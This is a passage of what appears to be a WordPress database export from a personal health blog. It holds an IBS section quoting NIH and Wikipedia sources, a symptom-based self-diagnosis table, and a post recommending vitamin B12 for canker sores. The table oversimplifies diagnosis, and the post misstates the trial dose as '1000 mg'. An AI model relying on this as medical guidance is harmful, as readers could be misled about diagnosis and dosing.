-->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/\"><strong>Recent advances in understanding non-celiac gluten sensitivity (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;In addition to experiencing GI symptoms, patients with NCGS most often experience a complex of extra-intestinal symptoms, including a “foggy mind”, which is described as an inability to concentrate, reduction of mnemonic capabilities, and lack of well-being as well as tiredness, headache, anxiety, numbness, joint/muscle pain, and skin rash/dermatitis</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to self-reported data, the prevalence rate of NCGS ranges between 0.5% and 13% in the general population <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>– <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-5\">5</a>, and prevalence is higher in women <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-3\">3</a>, teenagers, and patients in the third to fourth decade of life <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-4\">4</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Helicobacter pylori</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3925853/\"><strong>A review of Helicobacter pylori diagnosis, treatment, and methods to detect eradication (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>H. pylori</em> infection affects nearly half of the world’s population. In developing countries, the prevalence of infection is as high as 90%, whereas in developed countries, excluding Japan, the prevalence is below 40%</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Today, the involvement of H. pylori in active chronic gastritis, its association with gastroduodenal ulcer, and its well-accepted role as a risk factor for the development of gastric cancer are well documented[68].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cedars-sinai.org/health-library/diseases-and-conditions/g/gastritis.html\">Gastritis | Cedars-Sinai (cedars-sinai.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Stomach upset or pain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belching and hiccups</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belly (abdominal) bleeding</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nausea and vomiting</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Feeling of fullness or burning in your stomach</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loss of appetite</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Blood in your vomit or stool. This is a sign that your stomach lining may be bleeding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Helpful info from Wikipedia that I didn’t feel like checking</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Causes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><li>Neurological/psychiatric: A study of 97,593 individuals with IBS identified comorbidities such as headache, fibromyalgia, and depression.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-79\"><sup>[79]</sup></a> IBS occurs in 51% of people with chronic fatigue syndrome and 49% of people with fibromyalgia, and psychiatric disorders occur in 94% of people with IBS.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-White2002-10\"><sup>[10]</sup></a></li><li><a href=\"https://en.wikipedia.org/wiki/Channelopathy\">Channelopathy</a> and <a href=\"https://en.wikipedia.org/wiki/Muscular_dystrophy\">muscular dystrophy</a>: IBS and functional GI diseases are comorbidities of genetic channelopathies that cause cardiac conduction defects and neuromuscular dysfunction, and result also in alterations in GI motility, secretion, and sensation.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BEYDER_2016-80\"><sup>[80]</sup></a> Similarly, IBS and FBD are highly prevalent in <a href=\"https://en.wikipedia.org/wiki/Myotonic_dystrophy\">myotonic muscle dystrophies</a>. Digestive symptoms may be the first sign of dystrophic disease and may precede the musculo-skeletal features by up to 10 years</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Epidemiology</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Canada</td><td>6%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td></td></tr><tr><td>Japan</td><td>10%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>United Kingdom</td><td>8.2%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-EHLIN_2003-152\"><sup>[152]</sup></a>10.5%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-WILSON_2004-153\"><sup>[153]</sup></a></td><td>Ehlin, 2003Wilson, 2004</td><td>Prevalence increased substantially 1970–2004</td></tr><tr><td>United States</td><td>14.1%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-HUNGIN_2005-154\"><sup>[154]</sup></a></td><td>Hungin, 2005</td><td>Most undiagnosed</td></tr><tr><td>United States</td><td>15%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td>Estimate</td></tr><tr><td>Pakistan</td><td>14%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2007-155\"><sup>[155]</sup></a></td><td>Jafri, 2007</td><td>Much more common in 16–30 age range. 56% male, 44% female</td></tr><tr><td>Pakistan</td><td>34%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2005-156\"><sup>[156]</sup></a></td><td>Jafri, 2005</td><td>College students</td></tr><tr><td>Mexico City</td><td>35%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-SCHMULSON_2005-157\"><sup>[157]</sup></a></td><td>Schmulson, 2006</td><td>n=324. Also measured functional diarrhea and functional vomiting. High rates attributed to \"stress of living in a populated city.\"</td></tr><tr><td>Brazil</td><td>43%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>Mexico</td><td>46%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><strong>Gender</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Women are around two to three times more likely to be diagnosed with IBS and four to five times more likely to seek specialty care for it than men.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-158\"><sup>[158</sup></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Studies of females with IBS show symptom severity often fluctuates with the menstrual cycle, suggesting hormonal differences may play a role.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-159\"><sup>[159]</sup></a></p>\n<!-- /wp:paragraph -->','A complete guide to self-diagnosing and self-treating IBS','','inherit','closed','closed','','58-revision-v1','','','2021-04-18 17:27:02','2021-04-18 17:27:02','',58,'https://trevorklee.com/?p=77',0,'revision','',0),
(78,1,'2021-04-18 17:33:27','2021-04-18 17:33:27','<!-- wp:paragraph -->\n<p>Wondering if you actually have IBS? Use this self-diagnosis table! Sources and table from <a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">my big IBS post</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note that the more of these conditions that you have, the more likely the diagnosis is. So, if you take the first example, an obese smoker on prednisone with constipation is more likely to have diverticulitis than a skinny non-smoker with diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, please note that I’ve&nbsp;<em>italicized</em>&nbsp;the most important parts of a diagnosis. For example, unexplained weight loss is a pretty big warning sign for colon cancer and Chron’s. If you just have diarrhea and don’t have unexplained weight loss, neither colon cancer or Crohn’s are likely (but they’re still possible).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"ibs-diagnosis-table\">IBS Diagnosis Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>If you have</strong></td><td><strong>Or if you are</strong></td><td><strong>Then you might have</strong></td></tr><tr><td>Bloating OR constipation OR diarrhea OR&nbsp;<em>bright blood in your stool</em></td><td>Obese OR a smoker OR a user of anti-inflammatories/steroids</td><td>Diverticulitis</td></tr><tr><td>Constipation OR diarrhea OR&nbsp;<em>unexplained weight loss</em>&nbsp;OR fatigue</td><td><em>Over the age of 45 (especially over the age of 65)</em>&nbsp;OR&nbsp;<em>have a history of cancer</em></td><td>Colon cancer</td></tr><tr><td><em>Bloody diarrhea</em>&nbsp;</td><td></td><td>Ulcerative colitis</td></tr><tr><td>Diarrhea OR unexplained anemia OR&nbsp;<em>fever</em>&nbsp;OR&nbsp;<em>unexplained weight loss</em>&nbsp;OR growth retardation</td><td></td><td>Crohn’s disease</td></tr><tr><td>Joint pain OR&nbsp;<em>cold intolerance</em>&nbsp;OR constipationOR depression OR heavy menstrual flow OR unexplained weight gain or&nbsp;<em>fatigue&nbsp;</em>OR hair loss</td><td><em>Female</em></td><td>Hypothyroidism</td></tr><tr><td>Diarrhea AND nausea OR vomiting OR weight loss</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>Giardia</td></tr><tr><td>Abdominal bloating OR gas OR&nbsp; distension OR diarrhea</td><td><em>A user of proton pump inhibitors (e.g. Prilosec)&nbsp;</em>OR&nbsp;<em>opioids</em>&nbsp;OR&nbsp;<em>gastric bypass</em>&nbsp;OR&nbsp;<em>colectomy</em></td><td>Small intestinal bacterial overgrowth (SIBO)</td></tr><tr><td>Diarrhea OR bloating OR fatigue OR anemia OR&nbsp;<em>unexplained blisters (dermatitis herpetiformis)</em></td><td><em>Type 1 diabetic</em></td><td>Celiac disease</td></tr><tr><td><em>Diarrhea</em></td><td></td><td>Bile acid malabsorption</td></tr><tr><td><em>Constipation</em></td><td><em>Over 65&nbsp;</em>OR&nbsp;<em>African American</em>&nbsp;OR&nbsp;<em>pregnant/a mother</em></td><td>Dyssnergic defecation</td></tr><tr><td>Abdominal pain and bloating OR gas OR watery stool&nbsp;<em>following the ingestion of foods containing lactose</em></td><td>Black, Latino, or&nbsp;<em>Asian</em></td><td>Lactose intolerance</td></tr><tr><td>Diarrhea OR constipation OR brain fog OR joint/muscle pain, OR skin rash/dermatitis</td><td>Female OR in the third to fourth decade of life</td><td>Non celiac gluten sensitivity</td></tr><tr><td>Nausea and vomiting OR&nbsp;<em>feeling of fullness or burning in your stomach</em>&nbsp;OR blood in your vomit or stool.</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>H. pylori</td></tr><tr><td>Constipation OR diarrhea OR nausea OR&nbsp;<em>a feeling of early fullness</em></td><td></td><td>A motility disorder, like slow transit constipation</td></tr><tr><td></td><td></td><td></td></tr><tr><td>**RARE CONDITIONS FOLLOW BELOW (you probably don’t have these)**</td></tr><tr><td><em>Constipation since early childhood</em></td><td></td><td>Hirschsprung’s disease</td></tr><tr><td>Chronic or intermittent watery diarrhea OR unexplained weight loss, OR joint pain</td><td>Over 65 OR female</td><td>Microscopic colitis</td></tr><tr><td><em>Flushing</em>&nbsp;OR diarrhea OR&nbsp;<em>shortness of breath</em>&nbsp;OR&nbsp;<em>palpitation</em></td><td></td><td>Carcinoid syndrome (part of carcinoid tumors)</td></tr><tr><td>Nausea OR vomiting, OR diarrhea OR anemia OR weight loss</td><td></td><td>Eosinophilic gastroenteritis</td></tr></tbody></table></figure>\n<!-- /wp:table -->','IBS Diagnosis Table','','inherit','closed','closed','','71-revision-v1','','','2021-04-18 17:33:27','2021-04-18 17:33:27','',71,'https://trevorklee.com/?p=78',0,'revision','',0),
(80,1,'2021-05-06 18:24:03','2021-05-06 18:24:03','<!-- wp:paragraph -->\n<p><strong>tl;dr: if you keep getting sores on your tongue and the inside of your lips, try vitamin B12 supplements for several months.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Canker sores are one of the petty banes of my existence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve gotten them ever since I was a kid. I wake up one day with a little white ulcer on the inside of my lip or on my tongue. By the next day, they hurt like hell. I can’t eat anything spicy, or sour, or salty without Satan himself jabbing his pitchfork into my mouth.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the sore is on my tongue, every time I talk it also hurts. I end up mostly mute and miserable for 5 days, cursed to have people continually ask me, “Why are you talking so weirdly?” and me continually respond, “Because I haf a thore on my tung.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over the years, I’ve half-heartedly looked for cures and preventatives. I have noticed that I often get sores where I’ve already damaged my lip or tongue, but that doesn’t seem to be always true. As a scientific explanation, happens sometimes but not always isn’t a particularly good one, and it’s very hard to prevent myself from getting any abrasions in my mouth whatsoever.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After my most recent bout with canker sores, I decided to finally put in proper effort into researching it. Here’s what I found.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>A note on terminology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>First of all, canker sores are the American name for it. The “canker” part of it comes from <a href=\"https://www.google.com/search?q=canker+sore+etymology&amp;sxsrf=ALeKk02NKAi9PzEkpqOgUWBtXYJ0BhXDGA%3A1620315205331&amp;source=hp&amp;ei=RQyUYMu7EIORggeC0pfIAg&amp;iflsig=AINFCbYAAAAAYJQaVRQ_2rWV9x9akDR1pJB645TEZhkj&amp;oq=canker+sore+etym&amp;gs_lcp=Cgdnd3Mtd2l6EAMYADICCAAyBggAEBYQHjIGCAAQFhAeMgUIABCGAzIFCAAQhgMyBQgAEIYDMgUIABCGAzoECCMQJzoKCC4QxwEQrwEQJzoECC4QJzoFCAAQkQI6CAgAELEDEIMBOgsIABCxAxCDARCLAzoOCC4QsQMQxwEQowIQiwM6BQgAEIsDOgUILhCLAzoLCC4QsQMQxwEQowI6BQgAELEDOhcILhCxAxCDARCLAxCbAxCYAxCaAxCoAzoICAAQsQMQiwM6BQguELEDOggILhDHARCvAVDUAVjZFmD8HWgBcAB4AIABhwGIAcMMkgEEMTIuNZgBAKABAaoBB2d3cy13aXq4AQI&amp;sclient=gws-wiz\">“cancer”</a>, which comes from back when any ulcer was seen as a tumor. So, the American name is “cancer sore”, which is a dumb name.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The technical term for them are aphthous ulcers. This is also a dumb name, as aphthous means <a href=\"https://en.wikipedia.org/wiki/Aphthous_stomatitis#:~:text=An%20aphtha%20(plural%20aphthae)%20is,eruption%22%20or%20%22ulcer%22.\">“ulcer” in Greek</a>, so this is just “ulcer ulcer”. Nowadays, “aphthae” refers to any mouth ulcer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, the repeated formation of aphthous ulcers is called “aphthous stomatitis”. Stomatitis is “<a href=\"https://en.wikipedia.org/wiki/Stomatitis\">inflammation of the mouth or lip</a>”. So the repeated formation is “mouth ulcers related to inflammation of the mouth or lip”. It’s a slightly better name.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ll be using any of these terms interchangeably, but they tend to use aphthous stomatitis in the medical literature.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>The cause of canker sores</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The cause of canker sores is...unknown.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sorry guys! Essay over.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Just kidding. You’ll actually see that on Wikipedia, but I think it makes more sense to say canker sores are a symptom, and they can have a variety of causes. You see, aphthous ulcers look like this:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"width\":224,\"height\":218} -->\n<figure class=\"wp-block-image is-resized\"><img src=\"https://lh4.googleusercontent.com/1EgZ-vwKulSrn3XyAJnWzyVkQp4X1u8Tq_7jOuKK6StxtG7kPNbgWUoRKZhQiANr9NU0j6YXBmKHDNRmsK_b3fTq0vO4Z2Nwq4rAhNTNl-1NREgKHUyE5rnxY4Cr0dXP0VPK13AJ\" alt=\"\" width=\"224\" height=\"218\"/><figcaption><a href=\"https://upload.wikimedia.org/wikipedia/commons/thumb/2/21/Aphthe_Unterlippe.jpg/600px-Aphthe_Unterlippe.jpg\">Thanks Wikipedia!</a></figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>You’ll notice there’s a red outline, then a white covering. Now, take a look at this chemical burn from an herbal preparation on a palate:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://static-01.hindawi.com/articles/crid/volume-2015/196292/figures/196292.fig.001.svgz\" alt=\"\"/><figcaption><a href=\"https://www.hindawi.com/journals/crid/2015/196292/\">Thanks Hindawi</a>!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Pretty similar, right? Red surrounding a white film. There’s only a limited number of ways that your body can resolve oral injuries. Ulceration is one of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So aphthous stomatitis can be caused by anything that causes an ulceration response. That <a href=\"https://scihubtw.tw/10.1016/j.cden.2013.12.002\">includes</a> physical trauma, smoking, bacterial infection, autoimmune disorders, nutritional deficiencies, and stress.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, what’s frustrating is that none of these can guarantee a canker sore. Ultimately, that depends on your body’s wound healing and immune response, which is still a mystery in a lot of ways (and that I’ve written a lot about). There are probably genetic and environmental contributors, but no smoking guns.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, there have been some intriguing treatments for canker sores, which do suggest some other contributors for aphthous stomatitis. I’ll discuss those now.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Treatments for canker sores</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>What doctors will give you</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The treatments for canker sores that doctors will give you involve anti-inflammatories or numbing agents. I’ll cover those quickly because they’re not that interesting, with the help of <a href=\"https://scihubtw.tw/10.1016/j.cden.2013.12.002\">this review article</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First-line treatments are simple numbing agents, like benzocaine (which you’ll find in Orabase), or nonsteroidal anti inflammatory drugs like diclofenac.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More serious cases get more serious immunomodulatory treatments like glucocorticoids and tetracycline. Really serious cases get the big guns of immunosuppressants like thalidomide (yes that <a href=\"https://en.wikipedia.org/wiki/Thalidomide\">thalidomide</a>, the one with the birth defects).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Alternative treatments</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These are more fun. There are a couple weird ones that I want to cover, and I’ll end with the one that I think is the most plausible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4>Vitamin C</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The first is ascorbate, or vitamin C. Vitamin C has a long history of being used in immunomodulating or immune system supporting conditions. Some people swear that vitamin C helps the common cold, but <a href=\"https://en.wikipedia.org/wiki/Vitamin_C_and_the_common_cold\">most studies haven’t borne that out</a>. Linus Pauling famously believed that it helped cure cancer, which, again, <a href=\"https://lpi.oregonstate.edu/mic/vitamins/vitamin-C\">studies really haven’t borne out</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, Vitamin C isn’t starting off on a great foot. Deficiency in vitamin C is definitely bad (and eventually leads to scurvy), but it’s not at all clear that extra vitamin C leads to anything good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only thing I’d say in vitamin C’s defense is that Linus Pauling advocated for intravenous supplementation vitamin C, which doesn’t have the same upper limits on concentration in the bloodstream that <a href=\"https://www.acpjournals.org/doi/10.7326/0003-4819-140-7-200404060-00010#:~:text=Our%20data%20show%20that%20vitamin,achieved%20by%20maximum%20oral%20consumption.\">oral vitamin C does</a>. Most of the studies debunking vitamin C have been done on oral vitamin C, which means that maybe, just maybe, the issue with the studies was that effective supplementation of vitamin C needs to reach a level higher in the bloodstream than possible with oral supplementation. Maybe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyways, this was most likely the thought process behind why <a href=\"https://scihubtw.tw/10.1111/j.1651-2227.2009.01628.x\">a Japanese team tried to use oral vitamin C to treat aphthous ulcers</a>, despite the well-publicized failures. They may also have been aware of the successes of <a href=\"https://europepmc.org/article/med/2019118\">topical vitamin C in corneal ulcers</a>. And, although they didn’t know this, they presaged <a href=\"https://www.cambridge.org/core/journals/british-journal-of-nutrition/article/vitamin-c-improves-healing-of-foot-ulcers-a-randomised-doubleblind-placebocontrolled-trial/B862F414BE336B09FC405A3510EBD318\">the limited success of oral vitamin C in foot ulcers</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, with that being said, the Japanese team did see a pretty great result in using vitamin C in aphthous ulcers, reducing the incidence of ulcers from 4 to almost 0 in their treatment groups. Unfortunately, they did this while running an incredibly shoddily designed trial, with zero blinding, patient self-reporting, and a very small sample size of 24.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My overall recommendation for vitamin C then is pretty equivocal. Vitamin C definitely will not hurt. Will it help? Eh...maybe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4>Lasers</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>So, technically, this is “low-level laser therapy”. The idea is that <a href=\"https://www.tandfonline.com/doi/abs/10.1080/13102818.2014.966526\">lasers are shone onto the ulcers and then they heal</a>. It’s not just any lasers though. It’s specific lasers at specific wavelengths and frequencies. So...science!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m going to say off the bat that this probably doesn’t work. It was done in Bulgaria, supports itself with papers from Bulgaria, has zero mechanical reason why it should work, has zero blinding or placebo, and the lead author clearly has a thing for lasers. Oh, also, when they do cite papers from more mainstream sources, they conveniently ignore the big review paper that said <a href=\"https://scihubtw.tw/10.1111/j.1524-4725.2005.31086\">low-level laser therapy has no effect on wound healing</a> that shows up at the top of Google’s search results.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, on the other hand, it’s fun. So let’s talk about it. According to them, after they shine lasers on the ulcers, they heal in 2 days. These have to be special lasers. This works, allegedly, way better than pharmacotherapy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The cost? <a href=\"https://www.realself.com/nonsurgical/low-level-laser-therapy\">Only $2500</a> (at least in the US)! So, each time you get an aphthous ulcer, you can look forward to shelling out $2500.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Net-net, probably not a great treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[Note: you can also find papers from India and Brazil about this, but they’re not much better]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4>Vitamin B-12</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This is actually my favorite study. Spoiler alert, sorry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, first of all, it saw positive results: over the course of 6 months of supplementation of 1000 mg sublingual B12, the average duration of aphthous stomatitis was decreased from 11 days to 2 days, and the number and pain level of aphthous stomatitis saw similar decreases.&nbsp; More importantly, this study was actually done well : it was a <a href=\"https://scihubtw.tw/10.3122/jabfm.2009.01.080113\">randomized, placebo-controlled, double-blind trial attached</a>. They even checked to make sure the patients actually took the pills by looking at their bottles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Other studies have seen similarly good results (<a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0002962915321406\">1</a>, <a href=\"https://www.cfp.ca/content/cfp/51/6/844.full.pdf#page=1\">2</a>, <a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1524904214001994\">3</a>). There are even suggestions of vitamin B12 deficiency being linked to <a href=\"https://www.scirp.org/journal/paperinformation.aspx?paperid=83362\">H. pylori infection</a>, which is the cause of gastric ulcers (although <a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0901502720302009\">there’s controversy over whether H. pylori can be a cause of aphthous ulcers</a>).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I were to recommend any treatment for canker sores, it’d be this one. In fact, over the course of researching this article, I got <a href=\"https://www.amazon.com/Kirkland-Signature-Quick-Dissolve-Tablets/dp/B00AQ0LMTC/ref=sr_1_5?dchild=1&amp;keywords=vitamin+b12&amp;qid=1620324249&amp;sr=8-5\">a giant tub of B12 from Kirkland Signature</a> for $12.65 from Amazon (not an affiliate link). I’d recommend you do the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>The conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I think it\'s reasonably certain that vitamin B12 does help with canker sores. But why?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here\'s where I start speculating wildly (so be forewarned).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>B12 is a crucial vitamin for production of red blood cells. Lack of it causes <a href=\"https://en.wikipedia.org/wiki/Megaloblastic_anemia\">megaloblastic anemia</a>, which results in red blood cells not being able to mitose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Supplementing with B12 may allow for more rapid production of red blood cells, allowing for more efficient healing processes than ulceration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Is this true? I have no idea. But it sounds legitimate, and nobody else has a better idea (seriously, even the papers on aphthous ulcers just throw their hands up when they\'re asked for a causative mechanism).</p>\n<!-- /wp:paragraph -->','How to treat canker sores according to science','','publish','closed','closed','','how-to-treat-canker-sores-according-to-science','','','2021-05-06 18:24:03','2021-05-06 18:24:03','',0,'https://trevorklee.com/?page_id=80',0,'page','',0),
(81,1,'2021-05-06 18:24:03','2021-05-06 18:24:03','<!-- wp:paragraph -->\n<p><strong>tl;dr: if you keep getting sores on your tongue and the inside of your lips, try vitamin B12 supplements for several months.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Canker sores are one of the petty banes of my existence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve gotten them ever since I was a kid. I wake up one day with a little white ulcer on the inside of my lip or on my tongue. By the next day, they hurt like hell. I can’t eat anything spicy, or sour, or salty without Satan himself jabbing his pitchfork into my mouth.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the sore is on my tongue, every time I talk it also hurts. I end up mostly mute and miserable for 5 days, cursed to have people continually ask me, “Why are you talking so weirdly?” and me continually respond, “Because I haf a thore on my tung.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over the years, I’ve half-heartedly looked for cures and preventatives. I have noticed that I often get sores where I’ve already damaged my lip or tongue, but that doesn’t seem to be always true. As a scientific explanation, happens sometimes but not always isn’t a particularly good one, and it’s very hard to prevent myself from getting any abrasions in my mouth whatsoever.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After my most recent bout with canker sores, I decided to finally put in proper effort into researching it. Here’s what I found.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>A note on terminology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>First of all, canker sores are the American name for it. The “canker” part of it comes from <a 